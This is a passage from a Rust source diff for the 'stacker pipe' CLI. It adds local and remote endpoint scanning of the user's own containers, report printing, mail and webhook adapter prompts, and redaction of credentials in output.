+}
+
+fn build_local_probe_report_with_progress<F>(
+    app_code: &str,
+    containers: &[LocalContainerInfo],
+    protocols: &[String],
+    capture_samples: bool,
+    mut on_progress: F,
+) -> ProbeEndpointsCommandReport
+where
+    F: FnMut(usize, usize, &str),
+{
+    let mut endpoints = Vec::new();
+    let mut forms = Vec::new();
+    let mut resources = Vec::new();
+    let mut containers_out = Vec::new();
+    let mut probe_attempts = Vec::new();
+    let mut protocols_detected = BTreeSet::new();
+    let protocols_requested = normalize_protocols(protocols);
+    let total = containers.len();
+
+    for (index, container) in containers.iter().enumerate() {
+        on_progress(index + 1, total, &container.name);
+        let (http_endpoints, http_forms, http_detected) =
+            local_http_probe(container, protocols, capture_samples, 3);
+        let (resource_items, resource_detected) = local_resource_probe(container, protocols);
+        let attempt_outcome = detection_outcome(&http_endpoints, &http_forms, &resource_items);
+
+        for protocol in http_detected
+            .into_iter()
+            .chain(resource_detected.into_iter())
+        {
+            protocols_detected.insert(protocol);
+        }
+        probe_attempts.push(ProbeAttempt {
+            scope: "local_container".to_string(),
+            selector: Some(app_code.to_string()),
+            container: Some(container.name.clone()),
+            protocols: protocols_requested.clone(),
+            outcome: attempt_outcome,
+        });
+        endpoints.extend(http_endpoints);
+        forms.extend(http_forms);
+        resources.extend(resource_items);
+        containers_out.push(ProbeContainer {
+            name: container.name.clone(),
+            image: container.image.clone(),
+            network: container.network.clone(),
+            ports: container
+                .ports
+                .iter()
+                .map(|binding| match binding.host_port {
+                    Some(host_port) => format!(
+                        "{}->{}{}",
+                        host_port,
+                        binding.container_port,
+                        format!("/{}", binding.protocol)
+                    ),
+                    None => format!("{}/{}", binding.container_port, binding.protocol),
+                })
+                .collect(),
+            addresses: container
+                .addresses
+                .iter()
+                .flat_map(|address| {
+                    if container.ports.is_empty() {
+                        vec![address.clone()]
+                    } else {
+                        container
+                            .ports
+                            .iter()
+                            .map(|binding| format!("{}:{}", address, binding.container_port))
+                            .collect::<Vec<_>>()
+                    }
+                })
+                .collect(),
+        });
+    }
+
+    let mut report = ProbeEndpointsCommandReport {
+        command_type: "probe_endpoints".to_string(),
+        deployment_hash: "local".to_string(),
+        app_code: app_code.to_string(),
+        protocols_detected: protocols_detected.into_iter().collect(),
+        protocols_requested,
+        containers: containers_out,
+        endpoints,
+        resources,
+        forms,
+        probe_attempts,
+        target_kind: None,
+        probed_at: Utc::now().to_rfc3339(),
+    };
+    report.target_kind = Some(classify_probe_target_kind(app_code, &report));
+    report
+}
+
+fn local_report_to_agent_info(
+    report: &ProbeEndpointsCommandReport,
+    capture_samples: bool,
+) -> Result<AgentCommandInfo, Box<dyn std::error::Error>> {
+    probe_report_to_agent_info(report, capture_samples)
+}
+
+fn probe_report_to_agent_info(
+    report: &ProbeEndpointsCommandReport,
+    capture_samples: bool,
+) -> Result<AgentCommandInfo, Box<dyn std::error::Error>> {
+    Ok(AgentCommandInfo {
+        command_id: format!("synthetic-{}", report.app_code),
+        deployment_hash: report.deployment_hash.clone(),
+        command_type: "probe_endpoints".to_string(),
+        status: "completed".to_string(),
+        priority: "normal".to_string(),
+        parameters: Some(serde_json::json!({
+            "app_code": report.app_code,
+            "protocols": report.protocols_requested,
+            "capture_samples": capture_samples,
+        })),
+        result: Some(serde_json::to_value(report)?),
+        error: None,
+        created_at: report.probed_at.clone(),
+        updated_at: report.probed_at.clone(),
+    })
+}
+
+#[derive(Debug, Clone, PartialEq)]
+pub enum PipeScanRequest {
+    /// Backward-compatible form: local = container filter, remote = app code.
+    Legacy { selector: Option<String> },
+    /// Explicit local container discovery.
+    Containers { filter: Option<String> },
+    /// Explicit remote app probe.
+    App {
+        app: String,
+        container: Option<String>,
+    },
+}
+
+impl PipeScanRequest {
+    fn local_filter(&self) -> Result<Option<&str>, CliError> {
+        match self {
+            PipeScanRequest::Legacy { selector } => Ok(selector.as_deref()),
+            PipeScanRequest::Containers { filter } => Ok(filter.as_deref()),
+            PipeScanRequest::App { .. } => Err(CliError::ConfigValidation(
+                "Local scan works with containers, not app codes.\n\
+                 Use `stacker pipe scan` or `stacker pipe scan --containers [FILTER]`."
+                    .to_string(),
+            )),
+        }
+    }
+
+    fn remote_selector(&self) -> Result<(&str, Option<&str>), CliError> {
+        match self {
+            PipeScanRequest::Legacy {
+                selector: Some(selector),
+            } => Ok((selector.as_str(), None)),
+            PipeScanRequest::Legacy { selector: None } => Err(CliError::ConfigValidation(
+                "Remote scan requires an app selector.\n\
+                 Use `stacker pipe scan --app <APP>`."
+                    .to_string(),
+            )),
+            PipeScanRequest::Containers { .. } => Err(CliError::ConfigValidation(
+                "Container inventory is local-only.\n\
+                 For remote scans use `stacker pipe scan --app <APP> [--container <NAME>]`."
+                    .to_string(),
+            )),
+            PipeScanRequest::App { app, container } => Ok((app.as_str(), container.as_deref())),
+        }
+    }
+
+    fn maybe_print_legacy_hint(&self, is_local: bool) {
+        if let PipeScanRequest::Legacy {
+            selector: Some(selector),
+        } = self
+        {
+            if is_local {
+                eprintln!(
+                    "Hint: `stacker pipe scan {}` is legacy syntax. Prefer `stacker pipe scan --containers {}`.",
+                    selector, selector
+                );
+            } else {
+                eprintln!(
+                    "Hint: `stacker pipe scan {}` is legacy syntax. Prefer `stacker pipe scan --app {}`.",
+                    selector, selector
+                );
+            }
+        }
+    }
+}
+
+pub struct PipeScanCommand {
+    pub request: PipeScanRequest,
+    pub protocols: Vec<String>,
+    pub capture_samples: bool,
+    pub json: bool,
+    pub deployment: Option<String>,
+}
+
+impl PipeScanCommand {
+    pub fn new(
+        request: PipeScanRequest,
+        protocols: Vec<String>,
+        capture_samples: bool,
+        json: bool,
+        deployment: Option<String>,
+    ) -> Self {
+        Self {
+            request,
+            protocols,
+            capture_samples,
+            json,
+            deployment,
+        }
+    }
+
+    /// Local scan: discover containers via `docker ps`.
+    fn scan_local(
+        &self,
+        project_dir: &Path,
+        prefix: &str,
+        filter: Option<&str>,
+    ) -> Result<(), Box<dyn std::error::Error>> {
+        let pb = progress::spinner(&format!("{}Scanning local Docker containers...", prefix));
+        let containers = match discover_local_containers(filter) {
+            Ok(containers) => containers,
+            Err(error) => {
+                progress::finish_error(&pb, "Docker discovery failed");
+                eprintln!("{}", error);
+                return Ok(());
+            }
+        };
+        if containers.is_empty() {
+            progress::finish_error(&pb, "No containers running");
+            println!("No Docker containers found. Start your services first.");
+            return Ok(());
+        }
+        progress::finish_success(
+            &pb,
+            &format!("{}{} container(s) discovered", prefix, containers.len()),
+        );
+
+        let protocols = if self.protocols.is_empty() {
+            default_local_probe_protocols()
+        } else {
+            self.protocols.clone()
+        };
+        let probe_pb = progress::spinner(&format!(
+            "{}Probing local containers (0/{})...",
+            prefix,
+            containers.len()
+        ));
+        let report = build_local_probe_report_with_progress(
+            filter.unwrap_or("local"),
+            &containers,
+            &protocols,
+            self.capture_samples,
+            |current, total, container| {
+                progress::update_message(
+                    &probe_pb,
+                    &format!(
+                        "{}Probing container {}/{}: {}",
+                        prefix, current, total, container
+                    ),
+                );
+            },
+        );
+        progress::finish_success(&probe_pb, &format!("{}Probe stage complete", prefix));
+
+        let request = PipeDiscoveryRequest::local(
+            filter.unwrap_or("local"),
+            &protocols,
+            self.capture_samples,
+        );
+        write_pipe_scan_cache(project_dir, &request, &report)?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&report)?);
+        } else {
+            let info = local_report_to_agent_info(&report, self.capture_samples)?;
+            print_scan_result(&info);
+            println!("  Use these container names with 'stacker pipe create <source> <target>'");
+        }
+
+        Ok(())
+    }
+
+    fn scan_remote(
+        &self,
+        project_dir: &Path,
+        ctx: &CliRuntime,
+        hash: &str,
+        app: &str,
+        container: Option<&str>,
+    ) -> Result<(), Box<dyn std::error::Error>> {
+        let protocols = if self.protocols.is_empty() {
+            vec![
+                "openapi".to_string(),
+                "html_forms".to_string(),
+                "rest".to_string(),
+            ]
+        } else {
+            self.protocols.clone()
+        };
+        let request =
+            PipeDiscoveryRequest::remote(hash, app, container, &protocols, self.capture_samples);
+        let description = match container {
+            Some(container_name) => {
+                format!(
+                    "Scanning app {} (container {}) for endpoints",
+                    app, container_name
+                )
+            }
+            None => format!("Scanning app {} for endpoints", app),
+        };
+
+        let info = run_remote_probe(ctx, &request, &description)?;
+        cache_probe_if_completed(project_dir, &request, &info)?;
+
+        if self.json {
+            print_command_result(&info, true);
+        } else {
+            print_scan_result(&info);
+        }
+
+        Ok(())
+    }
+}
+
+impl CallableTrait for PipeScanCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("pipe scan")?;
+        let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?;
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        let prefix = mode_prefix(&deploy_ctx);
+
+        if deploy_ctx.is_local() {
+            self.request.maybe_print_legacy_hint(true);
+            let filter = self.request.local_filter()?;
+            return self.scan_local(&project_dir, prefix, filter);
+        }
+
+        let hash = match &deploy_ctx {
+            DeploymentContext::Remote(h) => h.clone(),
+            _ => unreachable!(),
+        };
+        self.request.maybe_print_legacy_hint(false);
+        let (app, container) = self.request.remote_selector()?;
+        self.scan_remote(&project_dir, &ctx, &hash, app, container)
+    }
+}
+
+fn print_scan_result(info: &AgentCommandInfo) {
+    if info.status != "completed" {
+        if let Some(ref error) = info.error {
+            eprintln!("Scan failed: {}", fmt::pretty_json(error));
+        } else {
+            eprintln!("Scan failed: unknown error");
+        }
+        return;
+    }
+
+    let result = match &info.result {
+        Some(r) => r,
+        None => {
+            eprintln!("No scan results returned");
+            return;
+        }
+    };
+
+    let app_code = result["app_code"].as_str().unwrap_or("unknown");
+    let protocols = result["protocols_detected"]
+        .as_array()
+        .map(|a| {
+            a.iter()
+                .filter_map(|v| v.as_str())
+                .collect::<Vec<_>>()
+                .join(", ")
+        })
+        .unwrap_or_default();
+
+    if let Some(containers) = result["containers"].as_array() {
+        if !containers.is_empty() {
+            println!("\n  Containers matched: {}", containers.len());
+            for container in containers {
+                let name = container["name"].as_str().unwrap_or("?");
+                let network = container["network"].as_str().unwrap_or("");
+                let image = container["image"].as_str().unwrap_or("");
+                let addresses = container["addresses"]
+                    .as_array()
+                    .map(|a| {
+                        a.iter()
+                            .filter_map(|v| v.as_str())
+                            .collect::<Vec<_>>()
+                            .join(", ")
+                    })
+                    .unwrap_or_default();
+                println!("    {}  [{}] {}", name, network, image);
+                if !addresses.is_empty() {
+                    println!("      addresses: {}", addresses);
+                }
+            }
+        }
+    }
+
+    println!("\n  App: {}", app_code);
+    println!(
+        "  Protocols detected: {}",
+        if protocols.is_empty() {
+            "none"
+        } else {
+            &protocols
+        }
+    );
+
+    if let Some(endpoints) = result["endpoints"].as_array() {
+        for ep in endpoints {
+            let protocol = ep["protocol"].as_str().unwrap_or("unknown");
+            let base_url = ep["base_url"].as_str().unwrap_or("");
+            let spec_url = ep["spec_url"].as_str().unwrap_or("");
+            println!("\n  [{protocol}] {base_url}{spec_url}");
+
+            if let Some(operations) = ep["operations"].as_array() {
+                for op in operations {
+                    let method = op["method"].as_str().unwrap_or("?");
+                    let path = op["path"].as_str().unwrap_or("?");
+                    let summary = op["summary"].as_str().unwrap_or("");
+                    let fields = op["fields"]
+                        .as_array()
+                        .map(|a| {
+                            a.iter()
+                                .filter_map(|v| v.as_str())
+                                .collect::<Vec<_>>()
+                                .join(", ")
+                        })
+                        .unwrap_or_default();
+
+                    print!("    {:>6} {}", method, path);
+                    if !summary.is_empty() {
+                        print!("  -- {}", summary);
+                    }
+                    println!();
+                    if !fields.is_empty() {
+                        println!("           fields: [{}]", fields);
+                    }
+                    if let Some(sample) = op.get("sample_response") {
+                        if !sample.is_null() {
+                            let sample_str = serde_json::to_string(sample).unwrap_or_default();
+                            if sample_str.len() > 120 {
+                                println!("           sample: {}...", &sample_str[..117]);
+                            } else {
+                                println!("           sample: {}", sample_str);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    if let Some(resources) = result["resources"].as_array() {
+        if !resources.is_empty() {
+            println!("\n  Resources:");
+            for resource in resources {
+                let protocol = resource["protocol"].as_str().unwrap_or("unknown");
+                let address = resource["address"].as_str().unwrap_or("");
+                let container = resource["container"].as_str().unwrap_or("");
+                if container.is_empty() {
+                    println!("    [{}] {}", protocol, address);
+                } else {
+                    println!("    [{}] {} ({})", protocol, address, container);
+                }
+                if let Some(items) = resource["items"].as_array() {
+                    for item in items {
+                        let resource_type = item["resource_type"].as_str().unwrap_or("resource");
+                        let name = item["name"].as_str().unwrap_or("?");
+                        let summary = item["summary"].as_str().unwrap_or("");
+                        let fields = item["fields"]
+                            .as_array()
+                            .map(|a| {
+                                a.iter()
+                                    .filter_map(|v| v.as_str())
+                                    .collect::<Vec<_>>()
+                                    .join(", ")
+                            })
+                            .unwrap_or_default();
+                        if summary.is_empty() {
+                            println!("      {} {}", resource_type, name);
+                        } else {
+                            println!("      {} {}  -- {}", resource_type, name, summary);
+                        }
+                        if !fields.is_empty() {
+                            println!("        fields: [{}]", fields);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    if let Some(forms) = result["forms"].as_array() {
+        if !forms.is_empty() {
+            println!("\n  HTML Forms:");
+            for form in forms {
+                let id = form["id"].as_str().unwrap_or("?");
+                let action = form["action"].as_str().unwrap_or("?");
+                let method = form["method"].as_str().unwrap_or("?");
+                let fields = form["fields"]
+                    .as_array()
+                    .map(|a| {
+                        a.iter()
+                            .filter_map(|v| v.as_str())
+                            .collect::<Vec<_>>()
+                            .join(", ")
+                    })
+                    .unwrap_or_default();
+
+                println!("    #{}  {} {}", id, method, action);
+                if !fields.is_empty() {
+                    println!("      fields: [{}]", fields);
+                }
+            }
+        }
+    }
+
+    let no_endpoints = result["endpoints"]
+        .as_array()
+        .map(|a| a.is_empty())
+        .unwrap_or(true);
+    let no_resources = result["resources"]
+        .as_array()
+        .map(|a| a.is_empty())
+        .unwrap_or(true);
+    let no_forms = result["forms"]
+        .as_array()
+        .map(|a| a.is_empty())
+        .unwrap_or(true);
+    if no_endpoints && no_resources && no_forms {
+        println!("\n  No endpoints or resources were discovered for the matched containers.");
+    }
+
     println!();
 }
 
@@ -363,6 +2142,9 @@ pub struct PipeCreateCommand {
     pub source: String,
     pub target: String,
     pub manual: bool,
+    pub ai: bool,
+    pub no_ai: bool,
+    pub ml: bool,
     pub json: bool,
     pub deployment: Option<String>,
 }
@@ -372,6 +2154,9 @@ impl PipeCreateCommand {
         source: String,
         target: String,
         manual: bool,
+        ai: bool,
+        no_ai: bool,
+        ml: bool,
         json: bool,
         deployment: Option<String>,
     ) -> Self {
@@ -379,30 +2164,38 @@ impl PipeCreateCommand {
             source,
             target,
             manual,
+            ai,
+            no_ai,
+            ml,
             json,
             deployment,
         }
     }
 }
 
-/// Extract operations from a probe result as a flat list of
-/// (method, path, summary, fields, sample_response).
-fn extract_operations(
-    info: &AgentCommandInfo,
-) -> Vec<(String, String, String, Vec<String>, Option<serde_json::Value>)> {
+#[derive(Debug, Clone)]
+struct SelectableOperation {
+    container: Option<String>,
+    adapter: Option<PipeAdapterMetadata>,
+    method: String,
+    path: String,
+    summary: String,
+    fields: Vec<String>,
+    sample: Option<serde_json::Value>,
+}
+
+/// Extract selectable HTTP/form operations from a probe result.
+fn extract_operations(info: &AgentCommandInfo) -> Vec<SelectableOperation> {
     let mut ops = Vec::new();
     if let Some(ref result) = info.result {
         if let Some(endpoints) = result["endpoints"].as_array() {
             for ep in endpoints {
                 let base = ep["base_url"].as_str().unwrap_or("");
+                let container = ep["container"].as_str().map(String::from);
                 if let Some(operations) = ep["operations"].as_array() {
                     for op in operations {
                         let method = op["method"].as_str().unwrap_or("GET").to_string();
-                        let path = format!(
-                            "{}{}",
-                            base,
-                            op["path"].as_str().unwrap_or("")
-                        );
+                        let path = format!("{}{}", base, op["path"].as_str().unwrap_or(""));
                         let summary = op["summary"].as_str().unwrap_or("").to_string();
                         let fields = op["fields"]
                             .as_array()
@@ -412,147 +2205,1165 @@ fn extract_operations(
                                     .collect()
                             })
                             .unwrap_or_default();
-                        let sample = op.get("sample_response")
-                            .filter(|v| !v.is_null())
-                            .cloned();
-                        ops.push((method, path, summary, fields, sample));
+                        let sample = op.get("sample_response").filter(|v| !v.is_null()).cloned();
+                        ops.push(SelectableOperation {
+                            container: container.clone(),
+                            adapter: None,
+                            method,
+                            path,
+                            summary,
+                            fields,
+                            sample,
+                        });
+                    }
+                }
+            }
+        }
+        if let Some(forms) = result["forms"].as_array() {
+            for form in forms {
+                let method = form["method"].as_str().unwrap_or("GET").to_string();
+                let path = form["action"].as_str().unwrap_or("/").to_string();
+                let fields = form["fields"]
+                    .as_array()
+                    .map(|a| {
+                        a.iter()
+                            .filter_map(|v| v.as_str().map(String::from))
+                            .collect()
+                    })
+                    .unwrap_or_default();
+                ops.push(SelectableOperation {
+                    container: form["container"].as_str().map(String::from),
+                    adapter: None,
+                    method,
+                    path,
+                    summary: format!("HTML form {}", form["id"].as_str().unwrap_or("?")),
+                    fields,
+                    sample: None,
+                });
+            }
+        }
+    }
+    ops
+}
+
+fn result_has_resources(info: &AgentCommandInfo) -> bool {
+    info.result
+        .as_ref()
+        .and_then(|result| result["resources"].as_array())
+        .map(|resources| !resources.is_empty())
+        .unwrap_or(false)
+}
+
+fn builtin_adapter_for_selector(
+    selector: &str,
+    role: PipeAdapterRole,
+) -> Option<PipeAdapterMetadata> {
+    let registry = builtin_registry();
+    let canonical = ServiceCatalog::resolve_alias(selector);
+    let candidates = [canonical, selector.to_string()];
+    candidates
+        .iter()
+        .find_map(|candidate| {
+            registry.find(candidate).or_else(|| {
+                registry
+                    .adapters()
+                    .into_iter()
+                    .find(|metadata| selector_matches_builtin_kind(candidate, metadata.kind))
+            })
+        })
+        .filter(|metadata| metadata.supports_role(role))
+}
+
+fn adapter_fields(kind: PipeAdapterKind) -> Vec<String> {
+    match kind {
+        PipeAdapterKind::SmtpTarget => vec![
+            "from_email".to_string(),
+            "reply_to_email".to_string(),
+            "subject".to_string(),
+            "body_text".to_string(),
+            "body_html".to_string(),
+        ],
+        PipeAdapterKind::WebhookBridge
+        | PipeAdapterKind::HttpEndpoint
+        | PipeAdapterKind::HtmlForm => {
+            vec![]
+        }
+        PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => vec![
+            "subject".to_string(),
+            "from_email".to_string(),
+            "to_email".to_string(),
+            "body_text".to_string(),
+            "body_html".to_string(),
+        ],
+    }
+}
+
+fn adapter_sample(kind: PipeAdapterKind) -> Option<serde_json::Value> {
+    match kind {
+        PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => Some(serde_json::json!({
+            "subject": "Incident opened",
+            "from_email": "alerts@example.com",
+            "to_email": "ops@example.com",
+            "body_text": "CPU usage exceeded threshold"
+        })),
+        _ => None,
+    }
+}
+
+fn synthetic_adapter_operation(metadata: &PipeAdapterMetadata) -> SelectableOperation {
+    let method = match metadata.kind {
+        PipeAdapterKind::SmtpTarget => "SEND",
+        PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => "POLL",
+        PipeAdapterKind::WebhookBridge => "POST",
+        PipeAdapterKind::HttpEndpoint => "HTTP",
+        PipeAdapterKind::HtmlForm => "FORM",
+    };
+    SelectableOperation {
+        container: None,
+        adapter: Some(metadata.clone()),
+        method: method.to_string(),
+        path: format!("adapter:{}", metadata.code),
+        summary: format!("{} adapter", metadata.display_name),
+        fields: adapter_fields(metadata.kind),
+        sample: adapter_sample(metadata.kind),
+    }
+}
+
+fn template_endpoint_for_operation(operation: &SelectableOperation) -> serde_json::Value {
+    if let Some(adapter) = &operation.adapter {
+        serde_json::json!({
+            "mode": "adapter",
+            "adapter": adapter.code,
+            "display_name": adapter.display_name,
+        })
+    } else {
+        serde_json::json!({
+            "path": operation.path,
+            "method": operation.method,
+        })
+    }
+}
+
+fn prompt_text(
+    prompt: &str,
+    default: Option<&str>,
+    allow_empty: bool,
+) -> Result<String, Box<dyn std::error::Error>> {
+    let mut input = dialoguer::Input::<String>::new().with_prompt(prompt.to_string());
+    if let Some(default) = default {
+        input = input.default(default.to_string());
+    }
+    if allow_empty {
+        input = input.allow_empty(true);
+    }
+    Ok(input.interact_text()?.trim().to_string())
+}
+
+fn prompt_optional_text(
+    prompt: &str,
+    default: Option<&str>,
+) -> Result<Option<String>, Box<dyn std::error::Error>> {
+    let value = prompt_text(prompt, default, true)?;
+    if value.is_empty() {
+        Ok(None)
+    } else {
+        Ok(Some(value))
+    }
+}
+
+fn prompt_secret(prompt: &str) -> Result<Option<String>, Box<dyn std::error::Error>> {
+    let value = if io::stdin().is_terminal() {
+        Password::new()
+            .with_prompt(prompt)
+            .allow_empty_password(true)
+            .interact()?
+    } else {
+        prompt_text(prompt, None, true)?
+    };
+    let trimmed = value.trim().to_string();
+    if trimmed.is_empty() {
+        Ok(None)
+    } else {
+        Ok(Some(trimmed))
+    }
+}
+
+fn prompt_port(prompt: &str, default: u16) -> Result<u16, Box<dyn std::error::Error>> {
+    let value = prompt_text(prompt, Some(&default.to_string()), false)?;
+    value
+        .parse::<u16>()
+        .map_err(|err| format!("Invalid port '{}': {}", value, err).into())
+}
+
+fn prompt_adapter_reference(
+    metadata: &PipeAdapterMetadata,
+) -> Result<(PipeAdapterReference, Option<String>), Box<dyn std::error::Error>> {
+    let mut reference = PipeAdapterReference::new(metadata.code.clone());
+    let role = metadata.roles.first().copied();
+    if let Some(role) = role {
+        reference = reference.with_role(role);
+    }
+
+    let mut config = serde_json::Map::new();
+    let mut target_url = None;
+    match metadata.kind {
+        PipeAdapterKind::SmtpTarget => {
+            let host = prompt_text("SMTP host", None, false)?;
+            let port = prompt_port("SMTP port", 587)?;
+            let username = prompt_optional_text("SMTP username", None)?;
+            let password = prompt_secret("SMTP password")?;
+            let from = prompt_optional_text("SMTP from address", None)?;
+            let to = prompt_text("SMTP recipient address", None, false)?;
+            let tls = dialoguer::Confirm::new()
+                .with_prompt("Use TLS for SMTP")
+                .default(true)
+                .interact()?;
+            config.insert("host".to_string(), serde_json::json!(host));
+            config.insert("port".to_string(), serde_json::json!(port));
+            config.insert("to".to_string(), serde_json::json!([to]));
+            config.insert("tls".to_string(), serde_json::json!(tls));
+            if let Some(username) = username {
+                config.insert("username".to_string(), serde_json::json!(username));
+            }
+            if let Some(password) = password {
+                config.insert("password".to_string(), serde_json::json!(password));
+            }
+            if let Some(from) = from {
+                config.insert("from".to_string(), serde_json::json!(from));
+            }
+        }
+        PipeAdapterKind::ImapSource => {
+            let host = prompt_text("IMAP host", None, false)?;
+            let port = prompt_port("IMAP port", 993)?;
+            let username = prompt_text("IMAP username", None, false)?;
+            let password = prompt_secret("IMAP password")?;
+            let mailbox = prompt_text("IMAP mailbox", Some("INBOX"), false)?;
+            let tls = dialoguer::Confirm::new()
+                .with_prompt("Use TLS for IMAP")
+                .default(true)
+                .interact()?;
+            config.insert("host".to_string(), serde_json::json!(host));
+            config.insert("port".to_string(), serde_json::json!(port));
+            config.insert("username".to_string(), serde_json::json!(username));
+            config.insert("mailbox".to_string(), serde_json::json!(mailbox));
+            config.insert("tls".to_string(), serde_json::json!(tls));
+            if let Some(password) = password {
+                config.insert("password".to_string(), serde_json::json!(password));
+            }
+        }
+        PipeAdapterKind::Pop3Source => {
+            let host = prompt_text("POP3 host", None, false)?;
+            let port = prompt_port("POP3 port", 995)?;
+            let username = prompt_text("POP3 username", None, false)?;
+            let password = prompt_secret("POP3 password")?;
+            let tls = dialoguer::Confirm::new()
+                .with_prompt("Use TLS for POP3")
+                .default(true)
+                .interact()?;
+            config.insert("host".to_string(), serde_json::json!(host));
+            config.insert("port".to_string(), serde_json::json!(port));
+            config.insert("username".to_string(), serde_json::json!(username));
+            config.insert("tls".to_string(), serde_json::json!(tls));
+            if let Some(password) = password {
+                config.insert("password".to_string(), serde_json::json!(password));
+            }
+        }
+        PipeAdapterKind::WebhookBridge => {
+            let url = prompt_text("Webhook URL", None, false)?;
+            target_url = Some(url.clone());
+            config.insert("url".to_string(), serde_json::json!(url));
+        }
+        PipeAdapterKind::HttpEndpoint | PipeAdapterKind::HtmlForm => {}
+    }
+
+    if !config.is_empty() {
+        reference = reference.with_config(serde_json::Value::Object(config));
+    }
+
+    Ok((reference, target_url))
+}
+
+fn is_sensitive_adapter_key(key: &str) -> bool {
+    let lowered = key.trim().to_ascii_lowercase();
+    lowered.contains("password")
+        || lowered.contains("secret")
+        || lowered.contains("token")
+        || lowered.contains("credential")
+        || lowered == "auth"
+        || lowered.ends_with("_auth")
+        || lowered.contains("api_key")
+        || lowered.ends_with("_key")
+}
+
+fn redact_sensitive_json(value: &mut serde_json::Value) {
+    match value {
+        serde_json::Value::Array(values) => {
+            for item in values {
+                redact_sensitive_json(item);
+            }
+        }
+        serde_json::Value::Object(map) => {
+            for (key, value) in map.iter_mut() {
+                if is_sensitive_adapter_key(key) {
+                    *value = serde_json::Value::String("[REDACTED]".to_string());
+                } else {
+                    redact_sensitive_json(value);
+                }
+            }
+        }
+        _ => {}
+    }
+}
+
+fn scan_inspection_hint(name: &str, deploy_ctx: &DeploymentContext) -> String {
+    match deploy_ctx {
+        DeploymentContext::Local => {
+            format!(
+                "Run `stacker pipe scan --containers {}` to inspect discovery results.",
+                name
+            )
+        }
+        DeploymentContext::Remote(_) => {
+            format!(
+                "Run `stacker pipe scan --app {}` to inspect discovery results.",
+                name
+            )
+        }
+    }
+}
+
+fn local_container_for_operation(operation: &SelectableOperation, fallback: &str) -> String {
+    operation
+        .container
+        .clone()
+        .unwrap_or_else(|| fallback.to_string())
+}
+
+fn operation_label(operation: &SelectableOperation) -> String {
+    let prefix = operation
+        .container
+        .as_ref()
+        .map(|container| format!("[{}] ", container))
+        .unwrap_or_default();
+    if operation.summary.is_empty() {
+        format!("{}{:>6} {}", prefix, operation.method, operation.path)
+    } else {
+        format!(
+            "{}{:>6} {} — {}",
+            prefix, operation.method, operation.path, operation.summary
+        )
+    }
+}
+
+fn operation_labels(operations: &[SelectableOperation]) -> Vec<String> {
+    operations.iter().map(operation_label).collect()
+}
+
+fn explain_no_selectable_operations(
+    name: &str,
+    info: &AgentCommandInfo,
+    deploy_ctx: &DeploymentContext,
+    role: &str,
+) -> String {
+    let target_kind = decode_probe_report(info)
+        .ok()
+        .and_then(|report| report.target_kind)
+        .unwrap_or_else(|| {
+            if selector_is_smtpish(name) {
+                "smtp".to_string()
+            } else if result_has_resources(info) {
+                "resource".to_string()
+            } else {
+                "unknown".to_string()
+            }
+        });
+
+    if target_kind == "smtp" {
+        return format!(
+            "'{}' looks like an SMTP {}. `stacker pipe create` currently supports HTTP endpoints and HTML forms only.\nUse an HTTP-capable bridge/webhook target first, validate locally, then export remotely.\n{}",
+            name,
+            role,
+            scan_inspection_hint(name, deploy_ctx)
+        );
+    }
+
+    if result_has_resources(info) {
+        format!(
+            "Resources were discovered for '{}', but `pipe create` currently supports HTTP endpoints and HTML forms only.\n{}",
+            name,
+            scan_inspection_hint(name, deploy_ctx)
+        )
+    } else {
+        format!(
+            "No selectable HTTP endpoints or HTML forms were discovered for '{}'.\n{}",
+            name,
+            scan_inspection_hint(name, deploy_ctx)
+        )
+    }
+}
+
+fn describe_discovery_run(run: &DiscoveryRun) -> String {
+    let report = decode_probe_report(&run.info).ok();
+    let requested = report
+        .as_ref()
+        .map(|report| {
+            if report.protocols_requested.is_empty() {
+                "default".to_string()
+            } else {
+                report.protocols_requested.join(",")
+            }
+        })
+        .unwrap_or_else(|| "default".to_string());
+    let capture_samples = run
+        .info
+        .parameters
+        .as_ref()
+        .and_then(|parameters| parameters.get("capture_samples"))
+        .and_then(|value| value.as_bool())
+        .unwrap_or(false);
+
+    let source = match run.source {
+        DiscoverySource::Cached => "cached",
+        DiscoverySource::Fresh => "fresh",
+        DiscoverySource::Synthetic => "synthetic",
+    };
+
+    format!(
+        "{} result (protocols: {}, capture_samples: {})",
+        source, requested, capture_samples
+    )
+}
+
+fn prepare_local_discovery(
+    _project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+) -> Result<AgentCommandInfo, Box<dyn std::error::Error>> {
+    let selector = request.selector.selector.as_str();
+    let mut report = build_local_probe_report(
+        selector,
+        &discover_local_containers(Some(selector))?,
+        &request.protocols_requested,
+        request.capture_samples,
+    );
+    enrich_probe_report_metadata(&mut report, selector, None, request);
+    local_report_to_agent_info(&report, request.capture_samples)
+}
+
+fn run_remote_probe(
+    ctx: &CliRuntime,
+    request: &PipeDiscoveryRequest,
+    description: &str,
+) -> Result<AgentCommandInfo, Box<dyn std::error::Error>> {
+    let info = run_remote_probe_once(ctx, request, description)?;
+    if info.status != "completed" {
+        return Ok(info);
+    }
+
+    // Fallback: an app-scoped (`remote_app`) probe reaches only the app's
+    // published host port. When it resolves a container but finds nothing,
+    // retry directly against that container — the `direct_container` scope
+    // reaches the container's internal IP and discovers forms / REST endpoints
+    // the host-port probe misses (see the WordPress→Matomo pipe write-up).
+    if request.selector.container.is_none() {
+        if let Ok(report) = decode_probe_report(&info) {
+            if !report_has_findings(&report) {
+                if let Some(name) = pick_fallback_container(&report, &request.selector.selector) {
+                    eprintln!(
+                        "  No endpoints via the app's published port; retrying container '{}' directly…",
+                        name
+                    );
+                    let mut retry = request.clone();
+                    retry.selector.container = Some(name.clone());
+                    let retry_desc = format!("{} (container {} — direct probe)", description, name);
+                    let retry_info = run_remote_probe_once(ctx, &retry, &retry_desc)?;
+                    if agent_info_has_findings(&retry_info) {
+                        return Ok(retry_info);
+                    }
+                }
+            }
+        }
+    }
+
+    Ok(info)
+}
+
+fn run_remote_probe_once(
+    ctx: &CliRuntime,
+    request: &PipeDiscoveryRequest,
+    description: &str,
+) -> Result<AgentCommandInfo, Box<dyn std::error::Error>> {
